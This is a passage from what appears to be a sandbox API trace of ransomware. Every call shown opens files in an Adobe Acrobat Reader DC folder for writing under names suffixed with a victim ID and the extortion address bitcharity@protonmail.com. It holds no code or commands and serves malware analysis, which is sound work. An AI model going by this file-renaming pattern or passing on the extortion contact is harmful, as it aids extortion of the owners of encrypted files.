DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_2x.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.899] CloseHandle (hObject=0x11bc) returned 1 [0278.902] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.902] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.902] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.902] CloseHandle (hObject=0x126c) returned 1 [0278.908] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.908] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.909] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int_2x.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.909] CloseHandle (hObject=0x1184) returned 1 [0278.910] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.910] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.910] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adc_logo.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.910] CloseHandle (hObject=0x1184) returned 1 [0278.913] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.913] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.913] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adobe_spinner.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.913] CloseHandle (hObject=0x1184) returned 1 [0278.914] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.914] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.914] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adobe_spinner_mini.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.917] CloseHandle (hObject=0x1184) returned 1 [0280.999] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.999] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.999] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.999] CloseHandle (hObject=0x11a8) returned 1 [0281.000] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.000] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.000] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\rhp_icons_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.000] CloseHandle (hObject=0x11a8) returned 1 [0281.001] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.001] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.001] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\selection-actions.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.001] CloseHandle (hObject=0x11a8) returned 1 [0281.002] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.002] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.002] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\selection-actions2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\selection-actions2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.002] CloseHandle (hObject=0x11a8) returned 1 [0281.003] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.003] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.003] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-down.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.004] CloseHandle (hObject=0x11a8) returned 1 [0281.004] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.004] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.004] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-left.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-left.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.005] CloseHandle (hObject=0x11a8) returned 1 [0281.006] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.006] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.006] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-right.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-right.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.006] CloseHandle (hObject=0x11a8) returned 1 [0281.007] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.007] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.007] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-up.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\arrow-up.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.007] CloseHandle (hObject=0x11a8) returned 1 [0281.008] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.008] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\hscroll-thumb.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.008] CloseHandle (hObject=0x11a8) returned 1 [0281.012] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.012] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-down.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.015] CloseHandle (hObject=0x11a8) returned 1 [0281.016] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.016] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.016] CloseHandle (hObject=0x11a8) returned 1 [0281.017] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.017] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.017] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.017] CloseHandle (hObject=0x11a8) returned 1 [0281.018] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.018] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.018] CloseHandle (hObject=0x11a8) returned 1 [0281.019] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.019] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.020] CloseHandle (hObject=0x11a8) returned 1 [0281.020] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.020] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.021] CloseHandle (hObject=0x11a8) returned 1 [0281.022] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.022] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.022] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\vscroll-thumb.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.022] CloseHandle (hObject=0x11a8) returned 1 [0281.023] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.023] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.023] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.024] CloseHandle (hObject=0x11a8) returned 1 [0281.025] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.025] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.025] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-down.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.026] CloseHandle (hObject=0x11a8) returned 1 [0281.026] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.027] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.027] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-left-pressed.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.027] CloseHandle (hObject=0x11a8) returned 1 [0281.028] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.028] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.028] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-left.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-left.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.028] CloseHandle (hObject=0x11a8) returned 1 [0281.035] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.035] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-right-pressed.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.035] CloseHandle (hObject=0x11a8) returned 1 [0281.036] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.036] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.036] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-right.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-right.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.036] CloseHandle (hObject=0x11a8) returned 1 [0281.037] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.037] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.037] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-up-pressed.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.037] CloseHandle (hObject=0x11a8) returned 1 [0281.038] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.038] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, 